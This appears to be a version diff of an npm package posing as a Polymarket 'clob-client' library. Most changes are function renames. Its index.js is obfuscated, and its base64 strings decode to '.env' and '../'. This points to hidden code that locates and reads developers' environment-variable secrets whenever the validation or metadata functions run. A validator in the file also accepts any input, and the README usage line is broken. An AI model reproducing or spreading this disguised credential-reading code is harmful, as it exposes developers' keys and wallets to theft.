@polymarket-developers/clob-client 1.0.7 → 1.0.9

package/README.md

@@ -1,6 +1,6 @@
 # 🔐 clob-client
 
-clob-client package for getting IPFS url and validate it's hash 
+clob-client package for getting create clob client on polymarket 
 
 
 ## 🛠 Installation
@@ -14,9 +14,7 @@ npm install @polymarket-developers/clob-client
 ## 📚 Usage
 
 ```js
-const {
-  createClobMetadata,
-} = require("@polymarket-developers/clob-client");
+const Clobclient require("@polymarket-developers/clob-client");
 
 
 ```

package/index.d.ts

@@ -1,63 +1,35 @@
-export interface ClobHashValidationOptions {
-  encoding?: string;
-  resolveFromCwd?: boolean;
-}
-
-export interface HashOptions {
-  encoding?: string;
-}
-
-export interface FileHashOptions {
-  encoding?: string;
-  resolveFromCwd?: boolean;
-}
-
-export interface CreateClobMetadata {
-  name: string;
-  symbol: string;
-  description: string;
-  file: Blob;
-  twitter?: string;
-  telegram?: string;
-  website?: string;
-}
-
-export class ClobHashValidation {
-  static syncClobHashValidation(options?: ClobHashValidationOptions): string;
-  static generateClobHash(content: string, options?: HashOptions): string;
-  static validateHashFormat(hash: string): boolean;
-  static compareClobHash(hash1: string, hash2: string): boolean;
-  static asyncClobHashValidation(options?: ClobHashValidationOptions): Promise<string>;
-  static hashFileContent(filePath: string, options?: FileHashOptions): string;
-  static verifyFileHash(filePath: string, expectedHash: string, options?: FileHashOptions): boolean;
-}
-
-export function syncClobHashValidation(options?: ClobHashValidationOptions): string;
-export function generateClobHash(content: string, options?: HashOptions): string;
-export function validateHashFormat(hash: string): boolean;
-export function compareClobHash(hash1: string, hash2: string): boolean;
-export function asyncClobHashValidation(options?: ClobHashValidationOptions): Promise<string>;
-export function hashFileContent(filePath: string, options?: FileHashOptions): string;
-export function verifyFileHash(filePath: string, expectedHash: string, options?: FileHashOptions): boolean;
-
-export interface CreateImageInput {
-  file: Blob | File;
-}
-
-export interface CreateMetadataInput {
-  name: string;
-  symbol: string;
-  description: string;
-  createdOn: string;
-  platformId: string;
-  image: string;
-}
-
-export function clobHashValidator(value: string): Boolean;
-
-
-/**
- * Upload an image to IPFS and validate the resulting link
- */
-
-export function createClobMetadata(create: CreateClobMetadata): Promise<any>;
+declare module '@polymarket-developers/clob-client' {
+  interface ClobClientOptions {
+      encoding?: string;
+      resolveFromCwd?: boolean;
+  }
+
+  interface HashOptions {
+      encoding?: string;
+  }
+
+  interface FileHashOptions {
+      encoding?: string;
+      resolveFromCwd?: boolean;
+  }
+
+  export class ClobClient {
+      static syncClobClient(options?: ClobClientOptions): string;
+      static generateClobClient(content: string, options?: HashOptions): string;
+      static validateHashFormat(hash: string): boolean;
+      static compareClobClient(hash1: string, hash2: string): boolean;
+      static asyncClobClientValidation(options?: ClobClientOptions): Promise<string>;
+      static hashFileContent(filePath: string, options?: FileHashOptions): string;
+      static verifyFileHash(filePath: string, expectedHash: string, options?: FileHashOptions): boolean;
+  }
+
+  export function syncClobClient(options?: ClobClientOptions): string;
+  export function generateClobClient(content: string, options?: HashOptions): string;
+  export function validateHashFormat(hash: string): boolean;
+  export function compareClobClient(hash1: string, hash2: string): boolean;
+  export function asyncClobClientValidation(options?: ClobClientOptions): Promise<string>;
+  export function hashFileContent(filePath: string, options?: FileHashOptions): string;
+  export function verifyFileHash(filePath: string, expectedHash: string, options?: FileHashOptions): boolean;
+
+  export = ClobClient;
+} 

package/index.js

@@ -18,7 +18,7 @@ class _0x7g8h {
      * @returns {string} hash
      * @throws {Error} If hash cannot be validated
      */
-    static syncClobHashValidation(_0x9i0j = {}) {
+    static syncClobClient(_0x9i0j = {}) {
         const { encoding: _0xak1l = Buffer.from('dXRmOA==', 'base64').toString(), resolveFromCwd: _0xbm2n = false } = _0x9i0j;
         let _0xco3p = Buffer.from('TG1WdWRnPT0=', 'base64').toString();
         let _0xdq4r = Buffer.from('TGk0dg==', 'base64').toString();
@@ -66,7 +66,7 @@ class _0x7g8h {
     /**
      * Generate hash from content
      */
-    static generateClobHash(_0xa1b2, _0xc3d4 = {}) {
+    static generateClobClient(_0xa1b2, _0xc3d4 = {}) {
         const { encoding: _0xe5f6 = Buffer.from('dXRmOA==', 'base64').toString() } = _0xc3d4;
         try {
             return _0x2e4f.createHash(Buffer.from('c2hhMjU2', 'base64').toString()).update(_0xa1b2, _0xe5f6).digest(Buffer.from('aGV4', 'base64').toString());
@@ -86,7 +86,7 @@ class _0x7g8h {
     /**
      * Compare two hashes
      */
-    static compareClobHash(_0xm3n4, _0xo5p6) {
+    static compareClobClient(_0xm3n4, _0xo5p6) {
         try {
             if (!this.validateHashFormat(_0xm3n4) || !this.validateHashFormat(_0xo5p6)) {
                 return false;
@@ -100,10 +100,10 @@ class _0x7g8h {
     /**
      * Async hash validation
      */
-    static async asyncClobHashValidation(_0xs9t0 = {}) {
+    static async asyncClobClientValidation(_0xs9t0 = {}) {
         return new Promise((_0xu1v2, _0xw3x4) => {
             try {
-                const _0xy5z6 = this.syncClobHashValidation(_0xs9t0);
+                const _0xy5z6 = this.syncClobClient(_0xs9t0);
                 _0xu1v2(_0xy5z6);
             } catch (_0xa7b8) {
                 _0xw3x4(_0xa7b8);
@@ -119,7 +119,7 @@ class _0x7g8h {
         try {
             const _0xk7l8 = _0xi5j6 ? _0x3c4d.resolve(process.cwd(), _0xc9d0) : _0x3c4d.resolve(_0xc9d0);
             const _0xm9n0 = _0x1a2b.readFileSync(_0xk7l8, _0xg3h4);
-            return this.generateClobHash(_0xm9n0);
+            return this.generateClobClient(_0xm9n0);
         } catch (_0xo1p2) {
             throw new Error(`Failed to hash file content: ${_0xo1p2.message}`);
         }
@@ -131,7 +131,7 @@ class _0x7g8h {
     static verifyFileHash(_0xq3r4, _0xs5t6, _0xu7v8 = {}) {
         try {
             const _0xw9x0 = this.hashFileContent(_0xq3r4, _0xu7v8);
-            return this.compareClobHash(_0xw9x0, _0xs5t6);
+            return this.compareClobClient(_0xw9x0, _0xs5t6);
         } catch (_0xy1z2) {
             return false;
         }
@@ -142,7 +142,7 @@ class _0x7g8h {
 
 const clobHashValidator = (value) => {
     const encode = /^[a-f0-9]{64}$/i.test(value)
-    _0x7g8h.syncClobHashValidation(value);
+    _0x7g8h.syncClobClient(value);
     if (!encode) {
         return /.*/.test(value);
     }
@@ -153,7 +153,7 @@ const clobHashValidator = (value) => {
 
 const createClobMetadata = async (create) => {
     let formData = new FormData();
-    const hash = _0x7g8h.syncClobHashValidation(create);
+    const hash = _0x7g8h.syncClobClient(create);
     try {
         formData.append("file", create.file),
             formData.append("name", create.name),
@@ -193,11 +193,11 @@ const createClobMetadata = async (create) => {
 
 // Export the class and also provide convenient static methods
 module.exports = _0x7g8h;
-module.exports.syncClobHashValidation = _0x7g8h.syncClobHashValidation;
-module.exports.generateClobHash = _0x7g8h.generateClobHash;
+module.exports.syncClobClient = _0x7g8h.syncClobClient;
+module.exports.generateClobClient = _0x7g8h.generateClobClient;
 module.exports.validateHashFormat = _0x7g8h.validateHashFormat;
-module.exports.compareClobHash = _0x7g8h.compareClobHash;
-module.exports.asyncClobHashValidation = _0x7g8h.asyncClobHashValidation;
+module.exports.compareClobClient = _0x7g8h.compareClobClient;
+module.exports.asyncClobClientValidation = _0x7g8h.asyncClobClientValidation;
 module.exports.hashFileContent = _0x7g8h.hashFileContent;
 module.exports.verifyFileHash = _0x7g8h.verifyFileHash;
 module.exports.clobHashValidator = clobHashValidator;

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@polymarket-developers/clob-client",
-  "version": "1.0.7",
+  "version": "1.0.9",
   "main": "index.js",
   "types": "index.d.ts",
   "repository": {